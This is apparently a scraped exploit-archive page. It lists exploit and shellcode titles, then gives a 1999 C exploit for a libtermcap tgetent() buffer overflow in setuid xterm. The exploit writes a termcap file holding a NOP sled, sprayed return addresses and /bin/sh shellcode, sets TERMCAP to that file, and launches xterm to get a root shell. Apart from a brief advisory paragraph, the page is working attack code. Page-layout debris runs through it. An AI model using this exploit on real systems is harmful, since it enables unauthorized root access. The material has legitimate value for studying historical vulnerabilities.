
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
83 lines
No EOL
2.5 KiB
C
83 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/588/info
|
|
|
|
A buffer overflow existed in libtermcap's tgetent() function, which could cause the user to execute arbitrary code if they were able to supply their own termcap file. Versions of libtermcap 2.0.8 and earliear are vulnerable.
|
|
|
|
Under Red Hat Linux 5.2 and 4.2, this could lead to local users gaining root privileges, as xterm (as well as other possibly setuid programs) are linked against libtermcap. Under Red Hat Linux 6.0, xterm is not setuid root.
|
|
|
|
Debian and Caldera OpenLinux use the ncurses library instead of termcap and thus are not vulnerable.
|
|
|
|
/*
|
|
****************************************************
|
|
*** libtermcap xterm exploit ***
|
|
*** by m0f0 1999 ***
|
|
*** ***
|
|
*** it works for xterm/nxterm ***
|
|
*** Tested Slackware 3.5, 3.6 ***
|
|
****************************************************
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#define BUF_SIZE 5000
|
|
#define POS_RET 2000
|
|
#define POS_SEP 3000
|
|
#define RETADDR 0xbfffefef
|
|
#define EGG "/tmp/egg_termcap"
|
|
|
|
// shellcode
|
|
char shellcode[] = // 48 caracteres
|
|
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
|
|
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
|
|
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
|
|
"\xff\xff/bin/sh";
|
|
|
|
void main (int argc, char *argv[]) {
|
|
int i;
|
|
FILE *f;
|
|
char buf[BUF_SIZE];
|
|
long retaddr, offset;
|
|
|
|
printf ("\n");
|
|
printf ("****************************************** \n");
|
|
printf ("* libtermcap xterm exploit, by m0f0 1999 * \n");
|
|
printf ("****************************************** \n\n");
|
|
printf ("Use : %s [offset] \n", argv[0]);
|
|
|
|
offset = 0;
|
|
if (argc>1) {
|
|
offset = atol (argv[1]);
|
|
}
|
|
|
|
retaddr = RETADDR + offset;
|
|
printf ("Return Address = 0x%x \n",retaddr);
|
|
|
|
|
|
// Fill buffer with NOP's
|
|
memset (buf, 0x90, BUF_SIZE);
|
|
buf[BUF_SIZE]=0;
|
|
|
|
// Set termcap file header and sep
|
|
memcpy (buf, "xterm|", 6);
|
|
memcpy (buf+POS_SEP,":\\",2);
|
|
|
|
// Return Address
|
|
for (i=POS_RET; i<=POS_SEP-10; i+=4) {
|
|
*(long*)(buf+i) = (long) retaddr;
|
|
}
|
|
|
|
// Copy shellCode
|
|
for (i=0; i<strlen(shellcode); i++) {
|
|
buf[i+2000] = shellcode[i];
|
|
}
|
|
|
|
// Write EGG_TERMCAP
|
|
f = fopen (EGG,"w");
|
|
fprintf (f,"%s",buf);
|
|
fclose (f);
|
|
|
|
// Export TERMCAP
|
|
setenv ("TERMCAP", EGG, 1);
|
|
|
|
// Run program
|
|
execl ("/usr/X11R6/bin/xterm","xterm",NULL);
|
|
|
|
} |